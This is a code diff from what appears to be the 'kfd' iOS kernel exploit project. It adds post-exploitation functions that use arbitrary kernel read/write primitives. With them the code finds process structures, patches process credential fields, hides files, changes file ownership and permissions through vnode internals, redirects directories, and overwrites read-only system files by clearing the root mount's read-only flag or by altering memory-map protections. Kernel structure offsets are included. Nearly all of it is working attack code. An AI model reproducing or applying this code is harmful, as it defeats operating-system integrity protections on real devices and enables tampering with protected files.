//https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/ucred.h#L91 - off_u_cr_label = 0x78; - off_u_cr_posix = 0x18; - - //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/ucred.h#L100 - off_cr_uid = 0; - off_cr_ruid = 0x4; - off_cr_svuid = 0x8; - off_cr_ngroups = 0xc; - off_cr_groups = 0x10; - off_cr_rgid = 0x50; - off_cr_svgid = 0x54; - off_cr_gmuid = 0x58; - off_cr_flags = 0x5c; - - //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/osfmk/kern/task.h#L280 - off_task_t_flags = 0x3D0; - - off_fd_ofiles = 0; - off_fp_fglob = 0x10; - off_fg_data = 0x38; - off_vnode_v_iocount = 0x64; - off_vnode_v_usecount = 0x60; - off_vnode_v_flag = 0x54; - off_vnode_v_name = 0xb8; - off_vnode_v_mount = 0xd8; - off_vnode_v_data = 0xe0; - off_vnode_v_kusecount = 0x5c; - off_vnode_v_references = 0x5b; - off_vnode_v_parent = 0xc0; - off_vnode_v_label = 0xe8; - off_vnode_v_cred = 0x98; - off_vnode_vu_mountedhere = 0x68; - off_vnode_vu_socket = 0x70; - off_vnode_vu_specinfo = 0x78; - off_vnode_vu_fifoinfo = 0x80; - off_vnode_vu_ubcinfo = 0x88; - off_vnode_v_writecount = 0xb0; - off_vnode_v_type = 0x70; - - off_mount_mnt_data = 0x11F; - off_mount_mnt_fsowner = 0x9c0; - off_mount_mnt_fsgroup = 0x9c4; - off_mount_mnt_devvp = 0x980; - off_mount_mnt_flag = 0x70; - - off_specinfo_si_flags = 0x10; - off_fg_flag = 0x10; - + } else { printf("[-] No matching offsets.\n"); exit(EXIT_FAILURE); diff --git a/kfd/fun/proc.c b/kfd/fun/proc.c new file mode 100644 index 00000000..b066752f --- /dev/null +++ b/kfd/fun/proc.c @@ -0,0 +1,95 @@ +// +// proc.c +// kfd +// +// Created by Seo Hyun-gyu on 2023/07/29. +// + +#include "proc.h" +#include "offsets.h" +#include "krw.h" +#include +#include +#include + +uint64_t getProc(pid_t pid) { + uint64_t proc = get_kernproc(); + + while (true) { + if(kread32(proc + off_p_pid) == pid) { + return proc; + } + proc = kread64(proc + off_p_list_le_prev); + } + + return 0; +} + +uint64_t getProcByName(char* nm) { + uint64_t proc = get_kernproc(); + + while (true) { + uint64_t nameptr = proc + off_p_name; + char name[32]; + do_kread(nameptr, &name, 32); +// printf("[i] pid: %d, process name: %s\n", kread32(proc + off_p_pid), name); + if(strcmp(name, nm) == 0) { + return proc; + } + proc = kread64(proc + off_p_list_le_prev); + } + + return 0; +} + +int getPidByName(char* nm) { + return kread32(getProcByName(nm) + off_p_pid); +} + +int funProc(uint64_t proc) { + int p_ppid = kread32(proc + off_p_ppid); + printf("[i] self proc->p_ppid: %d\n", p_ppid); + printf("[i] Patching proc->p_ppid %d -> 1 (for testing kwrite32, getppid)\n", p_ppid); + kwrite32(proc + off_p_ppid, 0x1); + printf("[+] Patched getppid(): %u\n", getppid()); + kwrite32(proc + off_p_ppid, p_ppid); + printf("[+] Restored getppid(): %u\n", getppid()); + + int p_original_ppid = kread32(proc + off_p_original_ppid); + printf("[i] self proc->p_original_ppid: %d\n", p_original_ppid); + + int p_pgrpid = kread32(proc + off_p_pgrpid); + printf("[i] self proc->p_pgrpid: %d\n", p_pgrpid); + + int p_uid = kread32(proc + off_p_uid); + printf("[i] self proc->p_uid: %d\n", p_uid); + + int p_gid = kread32(proc + off_p_gid); + printf("[i] self proc->p_gid: %d\n", p_gid); + + int p_ruid = kread32(proc + off_p_ruid); + printf("[i] self proc->p_ruid: %d\n", p_ruid); + + int p_rgid = kread32(proc + off_p_rgid); + printf("[i] self proc->p_rgid: %d\n", p_rgid); + + int p_svuid = kread32(proc + off_p_svuid); + printf("[i] self proc->p_svuid: %d\n", p_svuid); + + int p_svgid = kread32(proc + off_p_svgid); + printf("[i] self proc->p_svgid: %d\n", p_svgid); + + int p_sessionid = kread32(proc + off_p_sessionid); + printf("[i] self proc->p_sessionid: %d\n", p_sessionid); + + uint64_t p_puniqueid = kread64(proc + off_p_puniqueid); + printf("[i] self proc->p_puniqueid: 0x%llx\n", p_puniqueid); + + printf("[i] Patching proc->p_puniqueid 0x%llx -> 0x4142434445464748 (for testing kwrite64)\n", p_puniqueid); + kwrite64(proc + off_p_puniqueid, 0x4142434445464748); + printf("[+] Patched self proc->p_puniqueid: 0x%llx\n", kread64(proc + off_p_puniqueid)); + kwrite64(proc + off_p_puniqueid, p_puniqueid); + printf("[+] Restored self proc->p_puniqueid: 0x%llx\n", kread64(proc + off_p_puniqueid)); + + return 0; +} diff --git a/kfd/fun/proc.h b/kfd/fun/proc.h new file mode 100644 index 00000000..0be6af1d --- /dev/null +++ b/kfd/fun/proc.h @@ -0,0 +1,14 @@ +// +// proc.h +// kfd +// +// Created by Seo Hyun-gyu on 2023/07/29. +// + +#include + +uint64_t getProc(pid_t pid); +uint64_t getProcByName(char* nm); +int getPidByName(char* nm); + +int funProc(uint64_t proc); diff --git a/kfd/fun/thanks_opa334dev_htrowii.h b/kfd/fun/thanks_opa334dev_htrowii.h new file mode 100644 index 00000000..b949b3b6 --- /dev/null +++ b/kfd/fun/thanks_opa334dev_htrowii.h @@ -0,0 +1,9 @@ +// +// thanks_opa334dev_htrowii.h +// kfd +// +// Created by Seo Hyun-gyu on 2023/07/30. +// +#import + +uint64_t funVnodeOverwrite2(char* tofile, char* fromfile); diff --git a/kfd/fun/thanks_opa334dev_htrowii.m b/kfd/fun/thanks_opa334dev_htrowii.m new file mode 100644 index 00000000..ffaeba4c --- /dev/null +++ b/kfd/fun/thanks_opa334dev_htrowii.m @@ -0,0 +1,195 @@ +// +// thanks_opa334dev_htrowii.m +// kfd +// +// Created by Seo Hyun-gyu on 2023/07/30. +// + +#import +#import +#import +#import "krw.h" +#import "proc.h" + +#define FLAGS_PROT_SHIFT 7 +#define FLAGS_MAXPROT_SHIFT 11 +//#define FLAGS_PROT_MASK 0xF << FLAGS_PROT_SHIFT +//#define FLAGS_MAXPROT_MASK 0xF << FLAGS_MAXPROT_SHIFT +#define FLAGS_PROT_MASK 0x780 +#define FLAGS_MAXPROT_MASK 0x7800 + +uint64_t getTask(void) { + uint64_t proc = getProc(getpid()); + uint64_t proc_ro = kread64(proc + 0x18); + uint64_t pr_task = kread64(proc_ro + 0x8); + printf("[i] self proc->proc_ro->pr_task: 0x%llx\n", pr_task); + return pr_task; +} + +uint64_t kread_ptr(uint64_t kaddr) { + uint64_t ptr = kread64(kaddr); + if ((ptr >> 55) & 1) { + return ptr | 0xFFFFFF8000000000; + } + + return ptr; +} + +void kreadbuf(uint64_t kaddr, void* output, size_t size) +{ + uint64_t endAddr = kaddr + size; + uint32_t outputOffset = 0; + unsigned char* outputBytes = (unsigned char*)output; + + for(uint64_t curAddr = kaddr; curAddr < endAddr; curAddr += 4) + { + uint32_t k = kread32(curAddr); + + unsigned char* kb = (unsigned char*)&k; + for(int i = 0; i < 4; i++) + { + if(outputOffset == size) break; + outputBytes[outputOffset] = kb[i]; + outputOffset++; + } + if(outputOffset == size) break; + } +} + +uint64_t vm_map_get_header(uint64_t vm_map_ptr) +{ + return vm_map_ptr + 0x10; +} + +uint64_t vm_map_header_get_first_entry(uint64_t vm_header_ptr) +{ + return kread_ptr(vm_header_ptr + 0x8); +} + +uint64_t vm_map_entry_get_next_entry(uint64_t vm_entry_ptr) +{ + return kread_ptr(vm_entry_ptr + 0x8); +} + + +uint32_t vm_header_get_nentries(uint64_t vm_header_ptr) +{ + return kread32(vm_header_ptr + 0x20); +} + +void vm_entry_get_range(uint64_t vm_entry_ptr, uint64_t *start_address_out, uint64_t *end_address_out) +{ + uint64_t range[2]; + kreadbuf(vm_entry_ptr + 0x10, &range[0], sizeof(range)); + if (start_address_out) *start_address_out = range[0]; + if (end_address_out) *end_address_out = range[1]; +} + + +//void vm_map_iterate_entries(uint64_t vm_map_ptr, void (^itBlock)(uint64_t start, uint64_t end, uint64_t entry, BOOL *stop)) +void vm_map_iterate_entries(uint64_t vm_map_ptr, void (^itBlock)(uint64_t start, uint64_t end, uint64_t entry, BOOL *stop)) +{ + uint64_t header = vm_map_get_header(vm_map_ptr); + uint64_t entry = vm_map_header_get_first_entry(header); + uint64_t numEntries = vm_header_get_nentries(header); + + while (entry != 0 && numEntries > 0) { + uint64_t start = 0, end = 0; + vm_entry_get_range(entry, &start, &end); + + BOOL stop = NO; + itBlock(start, end, entry, &stop); + if (stop) break; + + entry = vm_map_entry_get_next_entry(entry); + numEntries--; + } +} + +uint64_t vm_map_find_entry(uint64_t vm_map_ptr, uint64_t address) +{ + __block uint64_t found_entry = 0; + vm_map_iterate_entries(vm_map_ptr, ^(uint64_t start, uint64_t end, uint64_t entry, BOOL *stop) { + if (address >= start && address < end) { + found_entry = entry; + *stop = YES; + } + }); + return found_entry; +} + +void vm_map_entry_set_prot(uint64_t entry_ptr, vm_prot_t prot, vm_prot_t max_prot) +{ + uint64_t flags = kread64(entry_ptr + 0x48); + uint64_t new_flags = flags; + new_flags = (new_flags & ~FLAGS_PROT_MASK) | ((uint64_t)prot << FLAGS_PROT_SHIFT); + new_flags = (new_flags & ~FLAGS_MAXPROT_MASK) | ((uint64_t)max_prot << FLAGS_MAXPROT_SHIFT); + if (new_flags != flags) { + kwrite64(entry_ptr + 0x48, new_flags); + } +} + +uint64_t start = 0, end = 0; + +uint64_t task_get_vm_map(uint64_t task_ptr) +{ + return kread_ptr(task_ptr + 0x28); +} + +#pragma mark overwrite2 +uint64_t funVnodeOverwrite2(char* to, char* from) { + printf("attempting opa's method\n"); + + int to_file_index = open(to, O_RDONLY); + if (to_file_index == -1) return -1; + off_t to_file_size = lseek(to_file_index, 0, SEEK_END); + + int from_file_index = open(from, O_RDONLY); + if (from_file_index == -1) return -1; + off_t from_file_size = lseek(from_file_index, 0, SEEK_END); + + + if(to_file_size < from_file_size) { + close(from_file_index); + close(to_file_index); + printf("[-] File is too big to overwrite!"); + return -1; + } + + //mmap as read only + printf("mmap as readonly\n"); + char* to_file_data = mmap(NULL, to_file_size, PROT_READ, MAP_SHARED, to_file_index, 0); + if (to_file_data == MAP_FAILED) { + close(to_file_index); + // Handle error mapping source file + return 0; + } + + // set prot to re- + printf("task_get_vm_map -> vm ptr\n"); + uint64_t vm_ptr = task_get_vm_map(getTask()); + uint64_t entry_ptr = vm_map_find_entry(vm_ptr, (uint64_t)to_file_data); + printf("set prot to rw-\n"); + vm_map_entry_set_prot(entry_ptr, PROT_READ | PROT_WRITE, PROT_READ | PROT_WRITE); + + char* from_file_data = mmap(NULL, from_file_size, PROT_READ, MAP_PRIVATE, from_file_index, 0); + if (from_file_data == MAP_FAILED) { + perror("[-] Failed mmap (from_mapped)"); + close(from_file_index); + close(to_file_index); + return -1; + } + + printf("it is writable!!\n"); + memcpy(to_file_data, from_file_data, 1); + + // Cleanup + munmap(from_file_data, from_file_size); + munmap(to_file_data, to_file_size); + + close(from_file_index); + close(to_file_index); + + // Return success or error code + return 0; +} diff --git a/kfd/fun/vnode.c b/kfd/fun/vnode.c new file mode 100644 index 00000000..d5e6bcbb --- /dev/null +++ b/kfd/fun/vnode.c @@ -0,0 +1,272 @@ +// +// vnode.c +// kfd +// +// Created by Seo Hyun-gyu on 2023/07/29. +// + +#include "vnode.h" +#include "krw.h" +#include "proc.h" +#include "offsets.h" +#include +#include +#include +#include +#include + +uint64_t getVnodeAtPath(char* filename) { + int file_index = open(filename, O_RDONLY); + if (file_index == -1) return -1; + + uint64_t proc = getProc(getpid()); + + uint64_t filedesc_pac = kread64(proc + off_p_pfd); + uint64_t filedesc = filedesc_pac | 0xffffff8000000000; + uint64_t openedfile = kread64(filedesc + (8 * file_index)); + uint64_t fileglob_pac = kread64(openedfile + off_fp_glob); + uint64_t fileglob = fileglob_pac | 0xffffff8000000000; + uint64_t vnode_pac = kread64(fileglob + off_fg_data); + uint64_t vnode = vnode_pac | 0xffffff8000000000; + + printf("[i] %s vnode: 0x%llx\n", filename, vnode); + close(file_index); + + return vnode; +} + +uint64_t funVnodeHide(char* filename) { + uint64_t vnode = getVnodeAtPath(filename); + if(vnode == -1) { + printf("[-] Unable to get vnode, path: %s", filename); + return -1; + } + + //vnode_ref, vnode_get + uint32_t usecount = kread32(vnode + off_vnode_v_usecount); + uint32_t iocount = kread32(vnode + off_vnode_v_iocount); + printf("[i] vnode->usecount: %d, vnode->iocount: %d\n", usecount, iocount); + kwrite32(vnode + off_vnode_v_usecount, usecount + 1); + kwrite32(vnode + off_vnode_v_iocount, iocount + 1); + + //hide file + uint32_t v_flags = kread32(vnode + off_vnode_v_flag); + printf("[i] vnode->v_flags: 0x%x\n", v_flags); + kwrite32(vnode + off_vnode_v_flag, (v_flags | VISSHADOW)); + + //exist test (should not be exist + printf("[i] %s access ret: %d\n", filename, access(filename, F_OK)); + + //show file + v_flags = kread32(vnode + off_vnode_v_flag); + kwrite32(vnode + off_vnode_v_flag, (v_flags &= ~VISSHADOW)); + + printf("[i] %s access ret: %d\n", filename, access(filename, F_OK)); + + //restore vnode iocount, usecount + usecount = kread32(vnode + off_vnode_v_usecount); + iocount = kread32(vnode + off_vnode_v_iocount); + if(usecount > 0) + kwrite32(vnode + off_vnode_v_usecount, usecount - 1); + if(iocount > 0) + kwrite32(vnode + off_vnode_v_iocount, iocount - 1); + + return 0; +} + +uint64_t funVnodeChown(char* filename, uid_t uid, gid_t gid) { + + uint64_t vnode = getVnodeAtPath(filename); + if(vnode == -1) { + printf("[-] Unable to get vnode, path: %s", filename); + return -1; + } + + uint64_t v_data = kread64(vnode + off_vnode_v_data); + uint32_t v_uid = kread32(v_data + 0x80); + uint32_t v_gid = kread32(v_data + 0x84); + + //vnode->v_data->uid + printf("[i] Patching %s vnode->v_uid %d -> %d\n", filename, v_uid, uid); + kwrite32(v_data+0x80, uid); + //vnode->v_data->gid + printf("[i] Patching %s vnode->v_gid %d -> %d\n", filename, v_gid, gid); + kwrite32(v_data+0x84, gid); + + struct stat file_stat; + if(stat(filename, &file_stat) == 0) { + printf("[+] %s UID: %d\n", filename, file_stat.st_uid); + printf("[+] %s GID: %d\n", filename, file_stat.st_gid); + } + + return 0; +} + +uint64_t funVnodeChmod(char* filename, mode_t mode) { + uint64_t vnode = getVnodeAtPath(filename); + if(vnode == -1) { + printf("[-] Unable to get vnode, path: %s", filename); + return -1; + } + + uint64_t v_data = kread64(vnode + off_vnode_v_data); + uint32_t v_mode = kread32(v_data + 0x88); + + printf("[i] Patching %s vnode->v_mode %o -> %o\n", filename, v_mode, mode); + kwrite32(v_data+0x88, mode); + + struct stat file_stat; + if(stat(filename, &file_stat) == 0) { + printf("[+] %s mode: %o\n", filename, file_stat.st_mode); + } + + return 0; +} + +uint64_t findRootVnode(void) { + uint64_t launchd_proc = getProc(1); + + uint64_t textvp_pac = kread64(launchd_proc + off_p_textvp); + uint64_t textvp = textvp_pac | 0xffffff8000000000; + printf("[i] launchd proc->textvp: 0x%llx\n", textvp); + + uint64_t textvp_nameptr = kread64(textvp + off_vnode_v_name); + uint64_t textvp_name = kread64(textvp_nameptr); + uint64_t devvp = kread64((kread64(textvp + off_vnode_v_mount) | 0xffffff8000000000) + off_mount_mnt_devvp); + uint64_t nameptr = kread64(devvp + off_vnode_v_name); + uint64_t name = kread64(nameptr); + char* devName = &name; + printf("[i] launchd proc->textvp->v_name: %s, v_mount->mnt_devvp->v_name: %s\n", &textvp_name, devName); + + uint64_t sbin_vnode = kread64(textvp + off_vnode_v_parent) | 0xffffff8000000000; + textvp_nameptr = kread64(sbin_vnode + off_vnode_v_name); + textvp_name = kread64(textvp_nameptr); + devvp = kread64((kread64(textvp + off_vnode_v_mount) | 0xffffff8000000000) + off_mount_mnt_devvp); + nameptr = kread64(devvp + off_vnode_v_name); + name = kread64(nameptr); + devName = &name; + printf("[i] launchd proc->textvp->v_parent->v_name: %s, v_mount->mnt_devvp->v_name:%s\n", &textvp_name, devName); + + uint64_t root_vnode = kread64(sbin_vnode + off_vnode_v_parent) | 0xffffff8000000000; + textvp_nameptr = kread64(root_vnode + off_vnode_v_name); + textvp_name = kread64(textvp_nameptr); + devvp = kread64((kread64(root_vnode + off_vnode_v_mount) | 0xffffff8000000000) + off_mount_mnt_devvp); + nameptr = kread64(devvp + off_vnode_v_name); + name = kread64(nameptr); + devName = &name; + printf("[i] launchd proc->textvp->v_parent->v_parent->v_name: %s, v_mount->mnt_devvp->v_name:%s\n", &textvp_name, devName); + printf("[+] rootvnode: 0x%llx\n", root_vnode); + + return root_vnode; +} + +uint64_t funVnodeRedirectFolder(char* to, char* from) { + uint64_t to_vnode = getVnodeAtPath(to); + if(to_vnode == -1) { + printf("[-] Unable to get vnode, path: %s\n", to); + return -1; + } + + uint8_t to_v_references = kread8(to_vnode + off_vnode_v_references); + uint32_t to_usecount = kread32(to_vnode + off_vnode_v_usecount); + uint32_t to_v_kusecount = kread32(to_vnode + off_vnode_v_kusecount); + + uint64_t from_vnode = getVnodeAtPath(from); + if(from_vnode == -1) { + printf("[-] Unable to get vnode, path: %s\n", from); + return -1; + } + + //If mount point is different, return -1 + uint64_t to_devvp = kread64((kread64(to_vnode + off_vnode_v_mount) | 0xffffff8000000000) + off_mount_mnt_devvp); + uint64_t from_devvp = kread64((kread64(from_vnode + off_vnode_v_mount) | 0xffffff8000000000) + off_mount_mnt_devvp); + if(to_devvp != from_devvp) { + printf("[-] mount points of folders are different!"); + return -1; + } + + uint64_t from_v_data = kread64(from_vnode + off_vnode_v_data); + + kwrite32(to_vnode + off_vnode_v_usecount, to_usecount + 1); + kwrite32(to_vnode + off_vnode_v_kusecount, to_v_kusecount + 1); + kwrite8(to_vnode + off_vnode_v_references, to_v_references + 1); + kwrite64(to_vnode + off_vnode_v_data, from_v_data); + + return 0; +} + +uint64_t funVnodeOverwriteFile(char* to, char* from) { + + int to_file_index = open(to, O_RDONLY); + if (to_file_index == -1) return -1; + off_t to_file_size = lseek(to_file_index, 0, SEEK_END); + + int from_file_index = open(from, O_RDONLY); + if (from_file_index == -1) return -1; + off_t from_file_size = lseek(from_file_index, 0, SEEK_END); + + if(to_file_size < from_file_size) { + close(from_file_index); + close(to_file_index); + printf("[-] File is too big to overwrite!"); + return -1; + } + + uint64_t proc = getProc(getpid()); + + //get vnode + uint64_t filedesc_pac = kread64(proc + off_p_pfd); + uint64_t filedesc = filedesc_pac | 0xffffff8000000000; + uint64_t openedfile = kread64(filedesc + (8 * to_file_index)); + uint64_t fileglob_pac = kread64(openedfile + off_fp_glob); + uint64_t fileglob = fileglob_pac | 0xffffff8000000000; + uint64_t vnode_pac = kread64(fileglob + off_fg_data); + uint64_t to_vnode = vnode_pac | 0xffffff8000000000; + printf("[i] %s to_vnode: 0x%llx\n", to, to_vnode); + + uint64_t rootvnode_mount_pac = kread64(findRootVnode() + off_vnode_v_mount); + uint64_t rootvnode_mount = rootvnode_mount_pac | 0xffffff8000000000; + uint32_t rootvnode_mnt_flag = kread32(rootvnode_mount + off_mount_mnt_flag); + + kwrite32(rootvnode_mount + off_mount_mnt_flag, rootvnode_mnt_flag & ~MNT_RDONLY); + kwrite32(fileglob + off_fg_flag, O_ACCMODE); + + uint32_t to_vnode_v_writecount = kread32(to_vnode + off_vnode_v_writecount); + printf("[i] %s Increasing to_vnode->v_writecount: %d\n", to, to_vnode_v_writecount); + if(to_vnode_v_writecount <= 0) { + kwrite32(to_vnode + off_vnode_v_writecount, to_vnode_v_writecount + 1); + printf("[+] %s Increased to_vnode->v_writecount: %d\n", to, kread32(to_vnode + off_vnode_v_writecount)); + } + + + char* from_mapped = mmap(NULL, from_file_size, PROT_READ, MAP_PRIVATE, from_file_index, 0); + if (from_mapped == MAP_FAILED) { + perror("[-] Failed mmap (from_mapped)"); + kwrite32(rootvnode_mount + off_mount_mnt_flag, rootvnode_mnt_flag); + close(from_file_index); + close(to_file_index); + return -1; + } + + char* to_mapped = mmap(NULL, to_file_size, PROT_READ | PROT_WRITE, MAP_SHARED, to_file_index, 0); + if (to_mapped == MAP_FAILED) { + perror("[-] Failed mmap (to_mapped)"); + kwrite32(rootvnode_mount + off_mount_mnt_flag, rootvnode_mnt_flag); + close(from_file_index); + close(to_file_index); + return -1; + } + + memcpy(to_mapped, from_mapped, from_file_size); + + munmap(from_mapped, from_file_size); + munmap(to_mapped, to_file_size); + + kwrite32(fileglob + off_fg_flag, O_RDONLY); + kwrite32(rootvnode_mount + off_mount_mnt_flag, rootvnode_mnt_flag); + + close(from_file_index); + close(to_file_index); + + return 0; +} diff --git a/kfd/fun/vnode.h b/kfd/fun/vnode.h new file mode 100644 index 00000000..ef066691 --- /dev/null +++ b/kfd/fun/vnode.h @@ -0,0 +1,46 @@ +// +// vnode.h +// kfd +// +// Created by Seo Hyun-gyu on 2023/07/29. +// + +#include + +#define MNT_RDONLY 0x00000001 /* read only filesystem */ +#define VISSHADOW 0x008000 /* vnode is a shadow file */ + +uint64_t getVnodeAtPath(char* filename); +uint64_t findRootVnode(void); + +/* +Description: + Hide and reveal file or directory. +*/ +uint64_t funVnodeHide(char* filename); + +/* +Description: + Perform chown to file or directory. +*/ +uint64_t funVnodeChown(char* filename, uid_t uid, gid_t gid); + +/* +Description: + Perform chmod to file or directory. +*/ +uint64_t funVnodeChmod(char* filename, mode_t mode); + +/* +Description: + Redirect directory to another directory. + Only work when mount points of directories are same. +*/ +uint64_t funVnodeRedirectFolder(char* to, char* from); + +/* +Description: + Perform overwrite file data to file. + Only work when file size is 'lower or same' than original file size. +*/ +uint64_t funVnodeOverwriteFile(char* to, char* from); diff --git a/kfd/libkfd/info/static_info.h b/kfd/libkfd/info/static_info.h index 4bd6e78d..e528a285 100644 --- a/kfd/libkfd/info/static_info.h +++ b/kfd/libkfd/info/static_info.h @@ -7,7 +7,7 @@ #define pages(number_of_pages) ((number_of_pages) * (16384ull)) -#define t1sz_boot (26ull) +#define t1sz_boot (25ull) #define ptr_mask ((1ull << (64ull - t1sz_boot)) - 1ull) #define pac_mask (~ptr_mask) #define unsign_kaddr(kaddr) ((kaddr) | (pac_mask))